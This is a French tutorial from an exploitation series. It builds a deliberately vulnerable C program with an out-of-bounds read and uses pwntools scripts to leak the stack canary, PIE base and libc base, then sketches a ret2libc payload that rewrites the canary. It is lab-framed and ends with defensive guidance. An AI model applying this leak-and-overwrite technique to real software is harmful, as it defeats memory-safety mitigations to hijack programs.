Fuites d'information : vaincre l'ASLR et les canaris
Les exploits modernes sont fuiter-puis-agir. Construisez une lecture hors limites, puis servez-vous-en pour retrouver un canari de pile, la base PIE et la base libc.
Ceci est le septième tutoriel de la section Techniques d'exploitation, et il revient sur la primitive sur laquelle les discussions de ret2libc et de PIE n'arrêtaient pas de s'appuyer : la fuite d'information. Les techniques de corruption retiennent l'attention, mais sur une cible moderne, c'est la fuite qui les rend possibles. Ce guide en construit une et s'en sert pour vaincre, tour à tour, le canari de pile, le PIE et l'ASLR de la libc.
Mêmes règles : votre propre binaire, labo jetable. Voir les règles du labo.
Les mitigations sont des secrets, pas des murs
Un canari est une valeur aléatoire que vous ne devez pas connaître. Le PIE et l'ASLR sont des adresses de base aléatoires que vous ne devez pas connaître. Aucun d'eux n'arrête une écriture — ils arrêtent une écriture aveugle, en cachant la valeur ou l'adresse dont l'écriture dépend. Une fuite retire le bandeau :
| Secret fuité | Mitigation vaincue | Ce que vous pouvez alors faire |
|---|---|---|
| Valeur du canari de pile | Canari de pile | Déborder au-delà du canari, en le remplaçant par lui-même |
| Un pointeur de code (adresse de retour) | PIE | Calculer la base du binaire ; utiliser ses gadgets/symboles |
| Un pointeur libc (p. ex. une entrée GOT) | ASLR de la libc | Calculer la base libc ; utiliser system, les one-gadgets |
La cible
Un programme avec une lecture hors limites d'apparence bénigne : il réaffiche l'emplacement de pile à un indice que vous fournissez, sans borne supérieure. Ce seul bug fuite tout.
/* vuln.c — une lecture OOB qui divulgue le contenu de la pile. */
#include <stdio.h>
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
unsigned long stack[16];
for (int i = 0; i < 16; i++) stack[i] = 0; /* quelques vraies données */
unsigned idx;
puts("index?");
if (scanf("%u", &idx) != 1) return 1;
/* le bug : aucune vérification que idx < 16 */
printf("value: %#lx\n", stack[idx]); /* lit au-delà du tableau */
return 0;
}
gcc -fstack-protector-strong -pie -fPIE -O0 -g -o vuln vuln.c # canari ET PIE ACTIVÉS
Notez que cette fois nous compilons avec les mitigations activées — tout l'enjeu est de fuiter au-delà d'elles.
Étape 1 — cartographier la pile
Lire des indices successifs au-delà du tableau remonte le cadre de pile. Quelques lectures révèlent le canari (une valeur aléatoire de 8 octets dont l'octet de poids faible est 00), le pointeur de cadre sauvegardé (une adresse de pile) et l'adresse de retour sauvegardée (un pointeur de code vers le binaire — ou vers la libc pour le retour de __libc_start_main).
from pwn import *
context.binary = elf = ELF("./vuln")
def leak(idx):
io = process("./vuln")
io.sendlineafter(b"index?\n", str(idx).encode())
io.recvuntil(b"value: ")
val = int(io.recvline().strip(), 16)
io.close()
return val
for i in range(16, 24):
log.info("stack[%d] = %#018x", i, leak(i))
stack[16] = 0x0000000000000000
stack[17] = 0x00000a1b2c3d4e00 ← canari (se termine par 00)
stack[18] = 0x00007ffd1234abc0 ← rbp sauvegardé (adresse de pile)
stack[19] = 0x00005600aabbc123 ← adresse de retour sauvegardée (pointeur de code PIE)
stack[20] = 0x00007f88deadbe40 ← une adresse libc (__libc_start_main+décalage)
L'octet 00 de fin est l'empreinte d'un canari : glibc met l'octet de poids faible à zéro pour qu'une lecture de chaîne ne puisse pas le fuiter ou le déborder facilement.
Étape 2 — transformer chaque fuite en base
canary = leak(17)
ret_addr = leak(19)
libc_ret = leak(20)
# Base PIE : adresse de retour fuitée moins son décalage dans le binaire.
# (trouvez le décalage une fois, dans gdb : l'adresse est main+NN ou __libc_csu... )
elf.address = ret_addr - elf.symbols["main"] - RET_OFFSET_IN_MAIN
# Base libc : retour libc fuité moins le décalage __libc_start_main_ret pour cette libc.
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = libc_ret - LIBC_START_MAIN_RET
log.success("canari = %#x", canary)
log.success("base PIE = %#x", elf.address)
log.success("base libc = %#x", libc.address)
Avec elf.address et libc.address définis, pwntools résout chaque gadget et symbole à son vrai emplacement d'exécution. Les trois mitigations sont maintenant transparentes.
Étape 3 — dépenser les fuites
Dans un vrai exploit, la fuite et la corruption sont deux usages d'un même bug (souvent) ou d'un bug apparié. Supposons que le même programme ait aussi un débordement de pile : vous construiriez maintenant une charge utile qui
- remplit le tampon,
- remplace le canari par la valeur fuitée (pour que la vérification de l'épilogue passe),
- écrase l'adresse de retour sauvegardée avec une chaîne ret2libc construite contre le
libc.addressretrouvé.
payload = b"A" * OFFSET_TO_CANARY
payload += p64(canary) # le canari survit à la vérification
payload += b"B" * 8 # rbp sauvegardé
payload += p64(libc.address + libc.symbols["system"] ...) # ret2libc, adresses connues
Le canari n'est pas contourné ; il est satisfait. C'est le modèle mental important : un canari fuité rend la vérification une formalité.
Pourquoi il n'y a pas de « réactiver la mitigation » ici
Ce guide est la contre-leçon. Les mitigations étaient déjà activées ; la fuite les a vaincues quand même. La défense contre une fuite n'est pas une autre mitigation cachant des adresses — c'est de ne pas avoir le bug de divulgation :
- Vérifiez les bornes de chaque indice et longueur (le correctif de cette lecture OOB exacte).
- Ne renvoyez pas de tampons non initialisés à l'utilisateur ; mettez-les à zéro ou remplissez-les entièrement.
- Compilez avec
-Wformat=2pour tuer les fuites par chaîne de format — voir bugs de chaîne de format. - Trouvez-les avec AddressSanitizer (il signale les lectures hors limites, pas seulement les écritures) et le fuzzing.
Ce que cela enseigne à un défenseur
- Cotez les bugs de lecture comme les bugs d'écriture. Une lecture hors limites paraît de faible gravité isolément et est souvent la clé de voûte d'un exploit critique. Au triage, associez-la à tout bug de corruption voisin — voir lire les rapports de crash.
- Un canari se terminant par
00est intentionnel, et une seule fuite de celui-ci le neutralise. Les canaris arrêtent les écrasements linéaires aveugles, rien de plus. - La défense en profondeur compte toujours : le PIE et l'ASLR forcent l'attaquant à trouver d'abord une fuite. Un binaire sans bug de divulgation garde ses secrets, et chaque technique en aval de cette série cale sans eux.
Points clés
- L'ASLR, le PIE et les canaris sont des secrets ; une fuite d'un pointeur ou d'une valeur par région vainc chacun d'eux.
- Une lecture hors limites qui divulgue des emplacements de pile peut fuiter le canari, un pointeur de code PIE et un pointeur libc d'un coup.
- Convertissez une fuite en base en soustrayant le décalage connu, puis laissez pwntools résoudre tout le reste.
- Un canari fuité est satisfait, pas contourné — vous le réécrivez par-dessus lui-même. Le vrai correctif est d'éliminer le bug de divulgation.
Ensuite : SROP, transformer un unique gadget syscall en contrôle total des registres quand les gadgets ordinaires sont rares.